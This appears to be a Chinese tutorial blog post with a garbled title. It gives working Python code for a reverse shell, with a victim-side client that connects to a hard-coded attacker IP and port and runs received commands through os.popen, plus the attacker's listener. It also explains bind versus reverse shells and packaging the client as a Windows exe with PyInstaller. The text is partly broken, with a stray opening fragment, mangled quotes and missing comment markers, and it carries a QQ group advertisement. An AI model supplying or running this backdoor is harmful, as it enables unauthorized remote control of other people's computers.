python 打包成liux python 打包成 shell

result=os.popen(command).read()
if result:
con.send(result.encode())
else:
con.send(b"OK!")

测试:（客户端(win10)、服务端(win7)）

1.把服务端打包成exe文件,然后在win7运行打包好的exe文件，python打包成exe文件这里推荐pyinstaller模块(需要安装,安装方法不会的百度)

打包成exe文件时最好打包成文件夹，如何打包成单个exe文件,在win7中运行可能会出题。下图就是打包的文件夹,双击运行图中exe文件

2.在win10运行客户端

反弹shell：

客户端:

#反弹shell,攻击端是服务端,被攻击端是客户端
#正常shell,攻击端是客户端,被攻击端是服务端
#例:攻击端(win10),被攻击端(win7),正常shell,先在win7启动服务端,再在win10启用客户端

反弹shell,先在win10启用服务端,再在win7启用客户端

反弹shell的好处就是:一旦被攻击端开机,立即连接上攻击端(需要攻击端一直运行)

正常shell需要先在攻击端开机情况下开启程序,然后攻击端运行程序,才能连接

import socket
import os
import sys
import time
#print(sys.argv)
#hacker=sys.argv[1]
hacker=“192.168.0.144”
port=1234
server=(hacker,port)
s=socket.socket()
s.connect(server)
while 1:
得到被攻击端的所在目录，并发送
dir=os.getcwd()
#print(dir)
s.send(dir.encode())
接收来自攻击端(服务器端)的命令，并进行处理
cmd=s.recv(1024).decode()
对接收的命令做出判断
退出
if cmd==“exit”:
break
elif cmd.startswith(“cd”):
os.chdir(cmd[2:].strip())
result=“切换目录成功!”
else:
result=os.popen(cmd).read()
if not result:
result=“命令执行完毕!”
s.send(result.encode())
time.sleep(1)
s.close()
print(“退出!”)
服务端:
‘’’
遇到问题没人解答？小编创建了一个Python学习交流QQ群：531509025
寻找有志同道合的小伙伴，互帮互助,群里还有不错的视频学习教程和PDF电子书！
‘’’
import socket
import time
server=(“0.0.0.0”,1234)
s=socket.socket()
s.bind(server)
s.listen(5)
con,addr=s.accept()
print(addr,“已经接入!”)
while 1:
#接收来自被攻击端的所在目录
dir=con.recv(1024).decode()
cmd=input(dir+"😊.strip()
con.send(cmd.encode())
if cmd==“exit”:
break
result=con.recv(65365)
print(result.decode())
time.sleep(1)
s.close()
print(“退出!”)